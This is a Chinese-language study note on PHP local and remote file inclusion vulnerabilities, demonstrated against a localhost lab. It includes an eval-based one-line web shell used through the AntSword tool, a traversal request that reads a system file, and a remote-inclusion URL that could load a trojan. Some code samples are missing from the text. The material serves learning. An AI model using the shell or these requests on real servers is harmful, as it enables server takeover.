文件包含漏洞学习笔记

1、为何会出现文件包含漏洞

相同内容或方法在多个页面显示或调用,文件包含漏洞又称为目录遍历漏洞或任意文件访问漏洞。分为本地文件包含(LFI:Local File Inclusion),远程文件包含(RFI:Remote File  Inclusion),也可分为静态文件包含,动态文件包含。

2、静态文件包含

页面中直接引用静态文件。

main.php内容如下:



  
    
    Home
  	
  
    

这是你第二次访问本网站

为何用TextEditor编写的汉字打开就乱码?

欢迎下次再来!

footer.php文件内容如下:

copyright @ 2023-".date("Y")."测试网

"; ?>

静态文件包含效果:

浏览器访问:  http://127.0.0.1/fileinc/main.php?

文件包含漏洞学习笔记_第1张图片

 3、动态文件包含

被包含的文件通过参数传入,增加了页面包含的灵活性。

include.php文件内容如下:

动态文件包含效果:

浏览器访问:  http://127.0.0.1/fileinc/include.php?file=footer.php

文件包含漏洞学习笔记_第2张图片

4、 漏洞利用

可以访问系统敏感文件,也可以包含恶意代码文件或图片码。

漏洞利用效果:

浏览器访问: http://127.0.0.1/fileinc/include.php?file=C:\Windows\system.ini ,访问网站所在服务器的C:\Windows\system.ini中的敏感信息。

文件包含漏洞学习笔记_第3张图片

shell.php文件内容如下:

";
    @eval($_POST['shell']);
?>

漏洞利用效果:

浏览器访问:  http://127.0.0.1/fileinc/include.php?file=shell.php ,可以通过“中国蚁剑”来访问服务器资源。即利用上传的木马获取服务器shell执行权限。

文件包含漏洞学习笔记_第4张图片

文件包含漏洞学习笔记_第5张图片

 5、远程文件包含

 远程文件包含的前提,需要将php.in中如下2个配置选项启用,

allow_url_fopen=On,allow_url_include=On

远程文件包含效果:

浏览器访问:http://127.0.0.1/fileinc/include.php?file=http://remote.include.com/fileremote/info.php ,这个远程文件可以是获取phpinfo信息,也可以是一句话木马……

文件包含漏洞学习笔记_第6张图片

 6、涉及到的文件包含函数

include()                          包含并运行指定文件

include_once()                只包含一次,不重复包含

require()                          和include()一样,不过出错时会停止

require_once()                和include_once()一样,不过出错时会停止

fopen()                             打开文件或者url

readfile()                           读取文件并写入到输出缓冲

highlight_file()                  语法高亮一个文件

show_source()                 语法高亮一个文件

file_get_contents()           将整个文件读入一个字符串

file()                                   把整个文件读入一个数组中

7、涉及到的PHP伪协议

file://        访问本地文件系统

http://       访问http或https网址

ftp://          访问ftp或ftps网址

php://       访问各个输入或输出流(I/O Streams)

zlib://         访问压缩流

data://        访问数据(RFC 2397)

glob://        查找匹配的文件路径模式

phar://        PHP归档

ssh2://       安全外壳协议2

rar://           RAR

ogg://         音频流

expect://    处理交互式的流

使用说明请参考:https://www.php.net/manual/zh/wrappers.php

注意:

php://input 可以使用抓包工具,添加输入流信息(如: 或 或 )。

你可能感兴趣的:(问题及示例,安全,学习,安全)